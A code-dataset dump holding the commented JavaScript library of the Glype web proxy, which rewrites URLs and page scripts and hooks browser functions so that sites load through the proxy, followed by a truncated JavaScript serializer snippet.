code
stringlengths 1
2.08M
| language
stringclasses 1
value |
|---|---|
/*******************************************************************
* Glype Proxy Script
*
* Copyright (c) 2008, http://www.glype.com/
*
* Permission to use this script is granted free of charge
* subject to the terms displayed at http://www.glype.com/downloads
* and in the LICENSE.txt document of the glype package.
*******************************************************************
* This file is the javascript library. The version downloaded by the
* user is compressed to save on bandwidth. This uncompressed version
* is available for you to make your own changes if desired.
******************************************************************/
/*****************************************************************
* Set up variables
******************************************************************/
// Shortcut to <URL TO SCRIPT><SCRIPT NAME>
siteURL = ginf.url+'/'+ginf.script;
// Convert all the document.domain references to a normal variable
// since our document.domain is obviously not what's expected.
ignore = '';
/*****************************************************************
* Helper functions - mostly javascript equivalents of the PHP
* function with the same name
******************************************************************/
// Base 64 encode a string
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'.split('');
function base64_encode(s) {
var r = ""; var p = ""; var c = s.length % 3;
if (c > 0) { for (; c < 3; c++) { p += '='; s += "\0"; } }
for (c = 0; c < s.length; c += 3) {
var n = (s.charCodeAt(c) << 16) + (s.charCodeAt(c+1) << 8) + s.charCodeAt(c+2);
n = [(n >>> 18) & 63, (n >>> 12) & 63, (n >>> 6) & 63, n & 63];
r += base64chars[n[0]] + base64chars[n[1]] + base64chars[n[2]] + base64chars[n[3]];
}
return r.substring(0, r.length - p.length) + p;
}
// Make a replacement using position and length values
function substr_replace(str,replacement,start,length) {
return str.substr(0, start) + replacement + str.substr(start +length);
}
// Find position of needle in haystack
function strpos(haystack, needle, offset) {
// Look for next occurence
var i = haystack.indexOf(needle, offset);
// indexOf returns -1 if not found, we want false
return i >= 0 ? i : false
}
// Find length of initial segment matching mask
function strspn(input, mask, offset, length) {
// Set up starting vars
var length = length ? offset + length : input.length;
var i = offset ? offset : 0;
var matched = 0;
// Loop through chars
while ( i < length ) {
// Does this char match the mask?
if ( mask.indexOf(input.charAt(i)) == -1 ) {
// No match, end here
return matched;
}
++matched;
++i;
}
return matched;
}
// Get the AJAX object
function fetchAjaxObject() {
var xmlHttp;
try {
// Firefox, Opera 8.0+, Safari
xmlHttp = new XMLHttpRequest;
} catch (e) {
// Internet Explorer
try {
xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {
return false;
}
}
}
return xmlHttp;
}
/*****************************************************************
* URL encoding function - takes an absolute or relative URL and
* converts it so that when requested, the resource will be downloaded
* by the proxy. PHP equivalent is "proxifyURL()"
******************************************************************/
function parseURL(input, flag) {
// First, validate the input
if ( ! input ) {
return '';
}
input = input.toString();
// Is it an anchor?
if ( input.charAt(0) == '#' ) {
return input;
}
// Is it javascript?
if ( input.toLowerCase().indexOf('javascript:') === 0 ) {
return parseJS(input);
}
// Is it a non-page?
if ( input === 'about:blank' ) {
return input;
}
// Is it already proxified?
if ( input.indexOf(siteURL) === 0 ) {
return input;
}
// Ensure a complete URL
if ( input.indexOf('http://') !== 0 && input.indexOf('https://') !== 0 ) {
// No change if .
if ( input == '.' ) {
input = '';
}
// Relative from root
if ( input.charAt(0) == '/' ) {
// "//domain.com" is also acceptable so check next char as well
if ( input.length > 0 && input.charAt(1) == '/' ) {
// Prefix the HTTP and we're done
input = 'http:' + input;
} else {
// Relative path from root so add scheme+host as prefix and we're done
input = ginf.target.h + input;
}
} else if ( ginf.target.b ) {
// Relative path from base href
input = ginf.target.b + input;
} else {
// Relative from document
input = ginf.target.h + ginf.target.p + input;
}
}
// Simplify path
// Strip ./ (refers to current directory)
input = input.replace('/./', '/');
// Strip double slash //
if ( input.length > 8 && input.substr(8).indexOf('//') ) {
input = input.replace(/[^:]\/\//g, '/');
}
// Simplify path by converting /dir/../ to /
if ( input.indexOf('/..') > 0 ) {
var urlparts = input.substring(targetHost.length).split(/\//);
for (var i in urlparts) {
if ( urlparts[i] == '..' ) {
input = input.replace('/'+urlparts[i-1]+'/..','');
}
}
}
// Extract an #anchor
var jumpTo = '';
// Find position of #
var hashPos = input.indexOf('#');
if ( hashPos >= 0 ) {
// Split into jumpTo (append it after proxifying) and $url
jumpTo = input.substr(hashPos);
input = input.substr(0, hashPos);
}
// Add encoding
if ( ginf.enc.e ) {
// Part of our encoding is to remove HTTP (saves space and helps avoid detection)
input = input.substr(4);
// Add base64
input = base64_encode(input);
// Are we using unique URLs?
if ( ginf.enc.u ) {
// Add the salt
input = ginf.enc.u + input;
}
}
// Protect chars that have other meaning in URLs
input = encodeURIComponent(input);
// Return in path info format (only when encoding is on)
if ( ginf.enc.p && ginf.enc.e ) {
input = input.replace(/%/g,'_');
return siteURL + '/' + input + '/b' + ginf.b + '/' + ( flag ? 'f' + flag + '/' : '') + jumpTo;
}
// Otherwise, return in 'normal' (query string) format
return siteURL + '?u=' + input + '&b=' + ginf.b + ( flag ? '&f=' + flag : '' ) + jumpTo;
}
/*****************************************************************
* Read options and URL from our form, convert to proxified URL and load it.
* If javascript is disabled, the form POSTs to /includes/process.php
******************************************************************/
function updateLocation(form) {
// Reset bitfield
ginf.b = 0;
// Array of options
var options = new Array();
// Loop through form elements
for ( i=0; i < form.elements.length; i++ ) {
if ( form.elements[i].name == 'u' ) {
// Record URL
url = form.elements[i].value;
} else if ( form.elements[i].type == 'checkbox' ) {
// Add option
options.push(form.elements[i]);
// Update encode option (for generating the new URL)
if ( form.elements[i].name == 'encodeURL' ) {
ginf.enc.e = form.elements[i].checked;
}
}
}
// Ensure URL entered
if ( ! url ) {
return false;
}
// Go through available options and edit bitfield
for ( i=0; i < options.length; i++ ) {
if ( options[i].checked == true ) {
ginf.b = ginf.b | Math.pow(2,i);
}
}
// Ensure the user entered the http://
if ( url.indexOf('http') !== 0 ) {
url = 'http://' + url;
}
// Update location
window.location = parseURL(url);
return false;
}
/*****************************************************************
* HTML Parser (any new HTML from document.write() or .innerHTML =
* should be sent through the parser)
******************************************************************/
function parseHTML(html) {
// Ensure string
if ( typeof(html) != 'string' ) {
return html;
}
// Extract a base tag
if ( (parser = /<base href(?==)=["']?([^"' >]+)['"]?(>|\/>|<\/base>)/i.exec(html)) ) {
ginfo.target.b = parser[1]; // Update base variable for future parsing
if ( ginfo.target.b.charAt(ginfo.target.b.length-1) != '/' ) // Ensure trailing slash
ginfo.target.b += '/';
html = html.replace(parser[0],''); // Remove from document since we don't want the unproxified URL
}
// Meta refresh
if ( parser = /content=(["'])?([0-9]+)\s*;\s*url=(['"]?)([^"'>]+)\3\1(.*?)(>|\/>)/i.exec(html) )
html = html.replace(parser[0],parser[0].replace(parser[4],parseURL(parser[4])));
// Proxify an update to URL based attributes
html = html.replace(/\.(action|src|location|href)\s*=\s*([^;}]+)/ig,'.$1=parseURL($2)');
// Send innerHTML updates through our parser
html = html.replace(/\.innerHTML\s*(\+)?=\s*([^};]+)\s*/ig,'.innerHTML$1=proxifyHTML($2)');
// Proxify iframe, ensuring the frame flag is added
parser = /<iframe\s+([^>]*)\s*src\s*=\s*(["']?)([^"']+)\2/ig;
while ( match = parser.exec(html) )
html = html.replace(match[0],'<iframe ' +match[1] +' src'+'=' + match[2] + parseURL(match[3],'frame') + match[2] );
// Proxify attributes
parser = /\s(href|src|background|action)\s*=\s*(["']?)([^"'\s>]+)/ig;
while ( match = parser.exec(html) ) {
html = html.replace(match[0],' '+match[1]+'='+match[2]+parseURL(match[3]));
}
// Convert get to post
parser = /<fo(?=r)rm((?:(?!method)[^>])*)(?:\s*method\s*=\s*(["']?)(get|post)\2)?([^>]*)>/ig;
while ( match = parser.exec(html) )
if ( ! match[3] || match[3].toLowerCase() != 'post' )
html = html.replace(match[0],'<fo'+'rm'+match[1]+' method="post" '+match[4]+'><input type="hidden" name="convertGET" value="1">');
// Proxify CSS: url(someurl.com/image.gif)
parser = /url\s*\(['"]?([^'"\)]+)['"]?\)/ig;
while ( match = parser.exec(html) )
html = html.replace(match[0],'url('+parseURL(match[1])+')');
// Proxify CSS importing stylesheets
parser = /@import\s*['"]([^'"\(\)]+)['"]/ig;
while ( match = parser.exec(html) )
html = html.replace(match[0],'@import "'+parseURL(match[1])+'"');
// Return changed HTML
return html;
}
/*****************************************************************
* Parse javascript on the fly - e.g. from a compressed eval()
******************************************************************/
function parseJS(js,debug) {
// Check valid input
if ( typeof(js) != 'string' || js == false )
return js;
// Replacer function. Our regexes move past the point of interest by
// enough to ensure we catch the match. Then we use this "callback" function
// (similar to PHP's preg_replace_callback()) to find the end of the statement
// and replace the value with our wrapper.
// To do this we assume the original regex obeys these rules:
// (1) Only one parenthesis in the expression
// (2) The parenthesis captures everything up to the point where the value
// to be 'parsed' starts.
function replacer(match, type, offset) {
// Find start position (all positions here are relative to the matched substring,
// not the entire original document (which is available as a 4th parameter btw))
var start = type.length;
// Ensure we haven't already parsed this line
if ( match.substr(start, 5) == 'parse' ) {
return match;
}
// And end position
var end = analyze_js(match, start);
// Determine the wrapper to use. First clear any whitespace.
type = type.replace(/\s/g, '');
// If .innerHTML, parse HTML. Otherwise, it's a URL.
var wrapperFunc = ( type == '.innerHTML=' ) ? 'parseHTML' : 'parseURL';
// Create the wrapped statement
var wrapped = wrapperFunc + '(' + match.substring(start, end) + ')';
// And make the starting replacement
return substr_replace(match, wrapped, start, end-start);
}
// Replace all. Because we go past the match by quite a way, we may find
// other statements nested within the match and these would not be replaced.
// To avoid this, we repeatedly call the .replace() method until it leaves us
// with an unchanged string - i.e. all possible changes have been made.
// Undoubtedly, not ideal but it works for now.
function replaceAll(input, regex) {
for ( var previous = input; input = input.replace(regex, replacer), input != previous; previous = input);
return input;
}
// Always parse location.replace() and .innerHTML
js = replaceAll(js, /\b(location\s*\.\s*replace\s*\(\s*)[\s\S]{0,500}/g);
js = replaceAll(js, /(\.\s*innerHTML\s*=(?!=)\s*)[\s\S]{0,500}/g);
// If the "watched" flag is set, parse location=
if ( window.failed.watched ) {
js = replaceAll(js, /\b(location(?:\s*\.\s*href)?\s*=(?!=)\s*)[\s\S]{0,500}/g);
}
// If the "setters" flag is set, parse all assignments
if ( window.failed.setters ) {
js = replaceAll(js, /\b(\.href\s*=(?!=)\s*)[\s\S]{0,500}/g);
js = replaceAll(js, /\b(\.background\s*=(?!=)\s*)[\s\S]{0,500}/g);
js = replaceAll(js, /\b(\.src\s*=(?!=)\s*)[\s\S]{0,500}/g);
js = replaceAll(js, /\b(\.action\s*=(?!=)\s*)[\s\S]{0,500}/g);
}
// Prevent attempts to assign document.domain
js = js.replace(/\bdocument\s*\.\s*domain\s*=/g, 'ignore=');
// Return updated code
return js;
}
// Analyze javascript and return offset positions.
// Default is to find the end of the statement, indicated by:
// (1) ; while not in string
// (2) newline which, if not there, would create invalid syntax
// (3) a closing bracket (object, language construct or function call) for which
// no corresponding opening bracket was detected AFTER the passed offset
// If (int) $argPos is true, we return an array of the start and end position
// for the nth argument, where n = $argPos. The $start position must be just inside
// the parenthesis of the function call we're interested in.
function analyze_js(input, start, argPos) {
// Set up starting variables
var currentArg = 1; // Only used if extracting argument position
var i = start; // Current character position
var length = input.length; // Length of document
var end = false; // Have we found the end?
var openObjects = 0; // Number of objects currently open
var openBrackets = 0; // Number of brackets currently open
var openArrays = 0; // Number of arrays currently open
// Loop through input char by char
while ( end === false && i < length ) {
// Extract current char
var currentChar = input.charAt(i);
// Examine current char
switch ( currentChar ) {
// String syntax
case '"':
case "'":
// Move up to the corresponding end of string position, taking
// into account and escaping backslashes
while ( ( i = strpos(input, currentChar, i+1) ) && input.charAt(i-1) == '\\' );
// False? Closing string delimiter not found... assume end of document
// although technically we've screwed up (or the syntax is invalid)
if ( i === false ) {
end = length;
}
break;
// End of operation
case ';':
end = i;
break;
// Newlines
case "\n":
case "\r":
// Newlines are ignored if we have an open bracket or array or object
if ( openObjects || openBrackets || openArrays || argPos ) {
break;
}
// Newlines are also OK if followed by an opening function OR concatenation
// e.g. someFunc\n(params) or someVar \n + anotherVar
// Find next non-whitespace char position
var nextCharPos = i + strspn(input, " \t\r\n", i+1) + 1;
// And the char that refers to
var nextChar = input.charAt(nextCharPos);
// Ensure not end of document and if not, char is allowed
if ( nextCharPos <= length && ( nextChar == '(' || nextChar == '+' ) ) {
// Move up offset to our nextChar position and ignore this newline
i = nextCharPos;
break;
}
// Still here? Newline not OK, set end to this position
end = i;
break;
// Concatenation
case '+':
// Our interest in the + operator is it's use in allowing an expression
// to span multiple lines. If we come across a +, move past all whitespace,
// including newlines (which would otherwise indicate end of expression).
i += strspn(input, " \t\r\n", i+1);
break;
// Opening chars (objects, parenthesis and arrays)
case '{':
++openObjects;
break;
case '(':
++openBrackets;
break;
case '[':
++openArrays;
break;
// Closing chars - is there a corresponding open char?
// Yes = reduce stored count. No = end of statement.
case '}':
openObjects ? --openObjects : end = i;
break;
case ')':
openBrackets ? --openBrackets : end = i;
break;
case ']':
openArrays ? --openArrays : end = i;
break;
// Comma
case ',':
// No interest here if not looking for argPos
if ( ! argPos ) {
break;
}
// Ignore commas inside other functions or whatnot
if ( openObjects || openBrackets || openArrays ) {
break;
}
// End now
if ( currentArg == argPos ) {
end = i;
}
// Increase the current argument number
++currentArg;
// If we're not after the first arg, start now?
if ( currentArg == argPos ) {
var start = i+1;
}
break;
// Any other characters
default:
// Do nothing
}
// Increase offset
++i;
}
// End not found? Use end of document
if ( end === false ) {
end = length;
}
// Return array of start/end if looking for argPos
if ( argPos ) {
return [start, end];
}
// Return end
return end;
}
/*****************************************************************
* Override native functions. By overriding the native functions
* with our wrapper functions, we save some very expensive regex
* search/replaces. The downside is it appears to be very cross-browser
* incompatible and there is the opportunity for conflicts if javascript
* on the target site itself does any editing of these native functions.
*
* Additionally, we can use the __defineSetter__ function to intercept
* calls to someElement.src = 'newURL' and the like. However, if we override
* the setter then how do we set the attribute? We may end up accidentally
* stuck in infinite recursion.
*
* Overriden and tested in Firefox 3 and Internet Explorer 7:
* X document.write()
* X document.writeln()
* X window.open()
* X XMLHttpRequest.open()
* X eval()
*
* "Watched" by non-standard code, tested in Firefox 3:
* X window.location=
* X location=
* X location.href=
*
* Intercepted with __defineSetter__(), tested in Firefox 3:
* X .src=
* X .href=
* X .background=
* X .action=
*
* Not handled automatically (in any browser):
* location.replace()
* .innerHTML=
*
* ... so what happens to everything that can't get handled by overriding
* the native code? On the first page load, we attempt to run the override code
* and catch any exceptions. We record the failed attempts and send that
* information back to the server. Now our server-side javascript parser
* will take care of anything we can't from here.
******************************************************************/
if ( typeof ginf.override != 'undefined' || typeof ginf.first != 'undefined' ) {
window.failed = {};
// window.open()
base_window_open = window.open;
window.open = function(url, name, params) {
// Replace the URL with the proxified URL
arguments[0] = parseURL(arguments[0]);
try {
// Firefox
base_window_open.apply(window, arguments); // Call the function
} catch (e) {
// IE
base_window_open(parseURL(url), name, params);
}
};
// eval()
base_eval = eval;
eval = function(str) {
return base_eval(parseJS(str));
};
// AJAX
try {
// Firefox 3 and others with native XMLHttpRequest
XMLHttpRequest.prototype.base_open = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function(method, url, async, user, password) {
this.base_open(method, parseURL(url,'ajax'), async, user, password);
};
} catch (e) {
try {
// Use a cross-browser object
document.write('<scrip'+'t type="text/javascript">'+(function(p,a,c,k,e,d){for(k=a[d[33]]-1;k>=0;k--)c+=e[d[69]][d[74]](a[d[75]](k)-1);a=c[d[73]](' ');for(k=a[d[33]]-1;k>=0;k--)p=p[d[72]](e[d[71]](k%10+(e[d[69]][d[74]](122-e[d[70]][d[76]](k/10))),'g'),a[k]);e[d[3]]('_',p)(d)})("8y s=6x8x109x;8y b=6w6x8x209x,c=6x8x249x8x149x3w!6x8x449x;9z e2w{5x.a5=s?2y s:2y 6x8x09x(_[7]);5x.a4=0w};0y(b3ws8x679x)e8x679x=s8x679x;e8x99x=0;e8x89x=1;e8x49x=2;e8x59x=3;e8x29x=4;e8x489x8x509x=e8x99x;e8x489x8x539x=\"\";e8x489x8x549x=2x;e8x489x8x599x=0;e8x489x8x609x=\"\";e8x489x8x409x=2x;e8x409x=2x;e8x399x=2x;e8x419x=2x;e8x389x=2x;e8x489x8x439x=9z(t,w,a,x,v){0y(4x8x339x<3)a=3x;5x.a2=a;8y r=5x,m=5x8x509x;0y(c){8y i=9z2w{0y(r.a58x509x7we8x29x){f(r);r8x129x2w}};0y(a)6x8x179x(_[42],i)}5x.a58x409x=9z2w{0y(b3w!a)3y;r8x509x=r.a58x509x;k(r);0y(r.a1){r8x509x=e8x99x;3y}0y(r8x509x5we8x29x){f(r);0y(c3wa)6x8x229x(_[42],i)}0y(m7wr8x509x)j(r);m=r8x509x};0y(e8x399x)e8x399x8x169x(5x,4x);5x.a58x439x(t,w,a,x,v);0y(!a3wb){5x8x509x=e8x89x;j(5x)}};e8x489x8x559x=9z(z){0y(e8x419x)e8x419x8x169x(5x,4x);0y(z3wz8x369x){z=6x8x119x?2y 6x8x119x2w8x569x(z):z8x689x;0y(!5x.a38x19x)5x.a58x579x(_[1],_[15])}5x.a58x559x(z);0y(b3w!5x.a2){5x8x509x=e8x89x;k(5x);9y(5x8x509x<e8x29x){5x8x509x0v;j(5x);0y(5x.a1)3y}}};e8x489x8x129x=9z2w{0y(e8x389x)e8x389x8x169x(5x,4x);0y(5x8x509x>e8x99x)5x.a1=3x;5x.a58x129x2w;f(5x)};e8x489x8x279x=9z2w{3y 5x.a58x279x2w};e8x489x8x289x=9z(u){3y 5x.a58x289x(u)};e8x489x8x579x=9z(u,y){0y(!5x.a3)5x.a3=1w;5x.a3[u]=y;3y 5x.a58x579x(u,y)};e8x489x8x139x=9z(u,h,d){8z(8y l=0,q;q=5x.a4[l];l0v)0y(q[0]5wu3wq[1]5wh3wq[2]5wd)3y;5x.a48x499x([u,h,d])};e8x489x8x529x=9z(u,h,d){8z(8y l=0,q;q=5x.a4[l];l0v)0y(q[0]5wu3wq[1]5wh3wq[2]5wd)1z;0y(q)5x.a48x589x(l,1)};e8x489x8x239x=9z(p){8y p={'type':p8x669x,'target':5x,'currentTarget':5x,'eventPhase':2,'bubbles':p8x189x,'cancelable':p8x199x,'timeStamp':p8x649x,'stopPropagation':9z2w1w,'preventDefault':9z2w1w,'0zitEvent':9z2w1w};0y(p8x669x5w_[51]3w5x8x409x)(5x8x409x8x299x4w5x8x409x)8x169x(5x,[p]);8z(8y l=0,q;q=5x.a4[l];l0v)0y(q[0]5wp8x669x3w!q[2])(q[1]8x299x4wq[1])8x169x(5x,[p])};e8x489x8x659x=9z2w{3y '['+_[37]+' '+_[10]+']'};e8x659x=9z2w{3y '['+_[10]+']'};9z j(r){0y(e8x409x)e8x409x8x169x(r);r8x239x({'type':_[51],'bubbles':1x,'cancelable':1x,'timeStamp':2y Date+0})};9z g(r){8y o=r8x549x;0y(c3wo3w!o8x259x3wr8x289x(_[1])8x359x(/[^\\/]+\\/[^\\+]+\\+xml/)){o=2y 6x8x09x(_[6]);o8x349x(r8x539x)}0y(o)0y((c3wo8x459x7w0)4w(o8x259x3wo8x259x8x629x5w_[46]))3y 2x;3y o};9z k(r){7y{r8x539x=r.a58x539x}3z(e)1w7y{r8x549x=g(r.a5)}3z(e)1w7y{r8x599x=r.a58x599x}3z(e)1w7y{r8x609x=r.a58x609x}3z(e)1w};9z f(r){r.a58x409x=2y 6x8x39x;6z r.a3};0y(!6x8x39x8x489x8x169x){6x8x39x8x489x8x169x=9z(r,n){0y(!n)n=0w;r.a0=5x;r.a0(n[0],n[1],n[2],n[3],n[4]);6z r.a0}};6x8x109x=e;",">?!>=!..!,,!>.!>,!>\"!\"\"!>>!}}!\'\'!*)!~|!^\\!^^!\\`\\!uofnvdpe!xpeojx!tjiu!tuofnvhsb!fvsu!mmvo!ftmbg!iujx!fmjix!sbw!zsu!idujxt!gpfqzu!xpsiu!osvufs!xfo!gpfdobutoj!gj!opjudovg!spg!ftmf!fufmfe!umvbgfe!fvojuopd!idubd!ftbd!lbfsc!oj",'',0,this,'ActiveXObject Content-Type DONE Function HEADERS_RECEIVED LOADING Microsoft.XMLDOM Microsoft.XMLHTTP OPENED UNSENT XMLHttpRequest XMLSerializer abort addEventListener all application/xml apply attachEvent bubbles cancelable controllers currentTarget detachEvent dispatchEvent document documentElement eventPhase getAllResponseHeaders getResponseHeader handleEvent http://www.w3.org/XML/1998/namespace http://www.w3.org/ns/xbl initEvent length loadXML match nodeType object onabort onopen onreadystatechange onsend onunload open opera parseError parsererror preventDefault prototype push readyState readystatechange removeEventListener responseText responseXML send serializeToString setRequestHeader splice status statusText stopPropagation tagName target timeStamp toString type wrapped xml String Math RegExp replace split fromCharCode charCodeAt floor'.split(' '))+'<'+'/script>');
XMLHttpRequest.prototype.base_open = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function(method, url, async, user, password) {
this.base_open(method, parseURL(url,'ajax'), async, user, password);
};
} catch (e) {
// Still no luck, tell the server side parser to deal with this for us
failed.ajax = true;
}
}
// document.write() and .writeln()
base_document_write = document.write;
base_document_writeln = document.writeln;
document.write = function(html) {
try {
// Firefox (tested in 3)
base_document_write.call(document, parseHTML(html));
} catch (e) {
try {
// Internet Explorer (tested in 7)
base_document_write(parseHTML(html));
} catch (e) {
// Any others?
document.body.innerHTML += parseHTML(html);
}
}
};
document.writeln = function(html) {
try {
// Firefox (tested in 3)
base_document_writeln.call(document, parseHTML(html));
} catch (e) {
try {
// Internet Explorer (tested in 7)
base_document_writeln(parseHTML(html));
} catch (e) {
// Any others?
document.body.innerHTML += parseHTML(html) + "\n";
}
}
};
// location updates
try {
function locationWatcher(id, oldURL, newURL) {
return parseURL(newURL);
};
location.watch('href', locationWatcher);
window.watch('location', locationWatcher);
parent.watch('location', locationWatcher);
self.watch('location', locationWatcher);
top.watch('location', locationWatcher);
document.watch('location', locationWatcher);
} catch (e) {
// Not entirely unsurprising if we're here since .watch() is non-standard
failed.watched = true;
}
// Setters (innerHTML, href, etc.)
try {
var intercept = [HTMLElement, HTMLHtmlElement, HTMLHeadElement, HTMLLinkElement, HTMLStyleElement, HTMLBodyElement, HTMLFormElement,
HTMLSelectElement, HTMLOptionElement, HTMLInputElement, HTMLTextAreaElement, HTMLButtonElement, HTMLLabelElement,
HTMLFieldSetElement, HTMLLegendElement, HTMLUListElement, HTMLOListElement, HTMLDListElement, HTMLDirectoryElement,
HTMLMenuElement, HTMLLIElement, HTMLDivElement, HTMLParagraphElement, HTMLHeadingElement, HTMLQuoteElement, HTMLPreElement,
HTMLBRElement, HTMLBaseFontElement, HTMLFontElement, HTMLHRElement, HTMLAnchorElement, HTMLImageElement,
HTMLObjectElement, HTMLParamElement, HTMLAppletElement, HTMLMapElement, HTMLModElement, HTMLAreaElement, HTMLScriptElement,
HTMLTableElement, HTMLTableCaptionElement, HTMLTableColElement, HTMLTableSectionElement, HTMLTableRowElement,
HTMLTableCellElement, HTMLFrameSetElement, HTMLFrameElement, HTMLIFrameElement];
// New setter functions
newSrc = function(value) { try { this.base_setAttribute('src', parseURL(value)); } catch(ignore) {} };
newAction = function(value) { try { this.base_setAttribute('action', parseURL(value)); } catch(ignore) {} };
newHref = function(value) { try { this.base_setAttribute('href', parseURL(value)); } catch(ignore) {} };
newBackground = function(value) { try { this.base_setAttribute('background', parseURL(value)); } catch(ignore) {} };
// New setAttribute
mySetAttribute = function(attr, value) {
try {
type = attr.toLowerCase();
if ( type == 'src' || type == 'href' || type == 'background' || type == 'action' ) {
value = parseURL(value);
}
this.base_setAttribute(attr, value);
} catch(ignore) {}
};
// Loop through all dom objects and add the methods
for ( i=0, len=intercept.length; i < len; i++ ) {
// Ignore if not implemented
if ( typeof intercept[i].prototype == 'undefined' ) {
continue;
}
// Modify the methods to send URLs back through the proxy
obj = intercept[i].prototype;
// setAttribute
obj.base_setAttribute = obj.setAttribute;
obj.setAttribute = mySetAttribute;
// __defineSetter__
obj.__defineSetter__('src', newSrc);
obj.__defineSetter__('action', newAction);
obj.__defineSetter__('href', newHref);
obj.__defineSetter__('background', newBackground);
}
} catch(e) {
// No luck? Handle it server side then
failed.setters = true;
}
// Is this the first run? (i.e. are we testing our override capabilities?)
if ( typeof ginf.first != 'undefined' ) {
// Grab an ajax object
var req = fetchAjaxObject();
// Convert failed object to string (must be a better way to do this)
var failures = '';
if ( failed.ajax ) failures += '&ajax=1';
if ( failed.watched ) failures += '&watch=1';
if ( failed.setters ) failures += '&setters=1';
// Prepare to send to the server
req.base_open('GET', ginf.url + '/includes/process.php?action=jstest&' + failures, true);
// Go go go!
req.send('');
}
window.overrideOn = true;
}
/*****************************************************************
* Enable/disable the override
* Technically we don't actually do anything to the overridden functions
* but we do update the parsing functions to make no changes
******************************************************************/
function disableOverride() {
// Do nothing if already disabled
if ( ! window.overrideOn ) {
return false;
}
// Save the parsing functions
window.myParseHTML = parseHTML;
window.myParseJS = parseJS;
// And replace them
window.parseHTML = noChange;
window.parseJS = noChange;
// Mark the new state
window.overrideOn = false;
}
function enableOverride() {
// Do nothing if already enabled
if ( window.overrideOn ) {
return false;
}
// Return parsing functions
window.parseHTML = window.myParseHTML;
window.parseJS = window.myParseJS;
// Mark the new state
window.overrideOn = true;
}
function noChange(str) {
return str;
}
/*****************************************************************
* Tooltips
* Thanks to http://lixlpixel.org/javascript-tooltips/
******************************************************************/
// position of the tooltip relative to the mouse in pixel //
var offsetx = 12;
var offsety = 8;
function newelement(newid)
{
if(document.createElement)
{
var el = document.createElement('div');
el.id = newid;
with(el.style)
{
display = 'none';
position = 'absolute';
}
el.innerHTML = ' ';
document.body.appendChild(el);
}
}
var ie5 = (document.getElementById && document.all);
var ns6 = (document.getElementById && !document.all);
var ua = navigator.userAgent.toLowerCase();
var isapple = (ua.indexOf('applewebkit') != -1 ? 1 : 0);
function getmouseposition(e)
{
if(document.getElementById)
{
var iebody=(document.compatMode &&
document.compatMode != 'BackCompat') ?
document.documentElement : document.body;
pagex = (isapple == 1 ? 0:(ie5)?iebody.scrollLeft:window.pageXOffset);
pagey = (isapple == 1 ? 0:(ie5)?iebody.scrollTop:window.pageYOffset);
mousex = (ie5)?event.x:(ns6)?clientX = e.clientX:false;
mousey = (ie5)?event.y:(ns6)?clientY = e.clientY:false;
var lixlpixel_tooltip = document.getElementById('tooltip');
lixlpixel_tooltip.style.left = (mousex+pagex+offsetx) + 'px';
lixlpixel_tooltip.style.top = (mousey+pagey+offsety) + 'px';
}
}
function tooltip(tip)
{
if(!document.getElementById('tooltip')) newelement('tooltip');
var lixlpixel_tooltip = document.getElementById('tooltip');
lixlpixel_tooltip.innerHTML = tip;
lixlpixel_tooltip.style.display = 'block';
document.onmousemove = getmouseposition;
}
function exit()
{
document.getElementById('tooltip').style.display = 'none';
}
/*****************************************************************
* DomReady event
* Credit to Dean Edwards/Matthias Miller/John Resig
* http://dean.edwards.name/weblog/2006/06/again/?full#comment5338
******************************************************************/
window.domReadyFuncs = new Array();
window.addDomReadyFunc = function(func) {
window.domReadyFuncs.push(func);
};
function init() {
// quit if this function has already been called
if (arguments.callee.done) return false;
// flag this function so we don't do the same thing twice
arguments.callee.done = true;
// kill the timer
if (_timer) clearInterval(_timer);
for ( var i=0; i<window.domReadyFuncs.length; ++i ) {
try {
window.domReadyFuncs[i]();
} catch(ignore) {}
}
};
/* for Mozilla/Opera9 */
if (document.addEventListener) {
document.addEventListener("DOMContentLoaded", init, false);
}
/* for Internet Explorer */
/*@cc_on @*/
/*@if (@_win32)
var proto = "src='javascript:void(0)'";
if (location.protocol == "https:") proto = "src=//0";
document.write("<scr"+"ipt id=__ie_onload defer " + proto + "><\/scr"+"ipt>");
var script = document.getElementById("__ie_onload");
script.onreadystatechange = function() {
if (this.readyState == "complete") {
init(); // call the onload handler
}
};
/*@end @*/
/* for Safari */
if (/WebKit/i.test(navigator.userAgent)) { // sniff
var _timer = setInterval(function() {
if (/loaded|complete/.test(document.readyState)) {
init(); // call the onload handler
}
}, 10);
}
/* for other browsers */
window.onload = init;
|
JavaScript
|
var SERIALIZER={version:1.24};
SERIALIZER.RESERVED_WORDS=new KeySet("abstract","as","boolean","break","byte","case","catch","char","class","continue","const","debugger","default","delete","do","double","else","enum","export","extends","false","final","finally","float","for","function","goto","if","implements","import","in","instanceof","int","interface","is","long","let","namespace","native","new","null","package","private","prototype","protected","public","return","short","static","super","switch","synchronized","this","throw","throws","transient","true","try","typeof","use","var","void","volatile","while","with");
SERIALIZER.fDefaults=new HashMap();
function Walker(){
var self=JSINER.extend(this,Jsoner);
self.isWalkNode=function(_517,_518){
return COMMONS.isObject(_518)&&isNaN(_518.nodeType);
};
return self;
}
Walker.prototype.fLogger=new Logger("Serializer.Walker");
Walker.prototype.getAttrName=function(_519){
var _51a=String(_519);
if(SERIALIZER.RESERVED_WORDS.isContains(_51a)||_51a.indexOf(" ")>=0||_51a.indexOf(".")>=0){
_51a="\""+_51a+"\"";
}
return _51a;
};
Walker.prototype.isMute=function(_51b,_51c,_51d){
var _51e=_51b===Jsoner.MAGIC_HASH_CODE||!_51d.hasOwnProperty(_51b)||(COMMONS.isObject(_51c)&&!isNaN(_51c.nodeType));
return _51e;
};
Walker.prototype.getDefaultInstance=function(_51f){
var type=JSINER.getType(_51f);
var _521=SERIALIZER.fDefaults.get(type);
if(COMMONS.isUndefined(_521)){
_521=_51f;
if(COMMONS.isObject(_51f)){
try{
var cons=JSINER.getConstructor(_51f);
_521=new cons();
SERIALIZER.fDefaults.put(type,_521);
}
catch(ex){
this.fLogger.warning("getDefaultInstance, unable to create new instance:"+type,ex);
}
}
}
return _521;
};
Walker.prototype.isDefaultProperty=function(_523,_524,_525){
var _526=false;
if(COMMONS.isDefined(_523)){
try{
var _527=this.getValue(_523,_524);
_526=this.isEquals(_525,_527);
}
catch(ex){
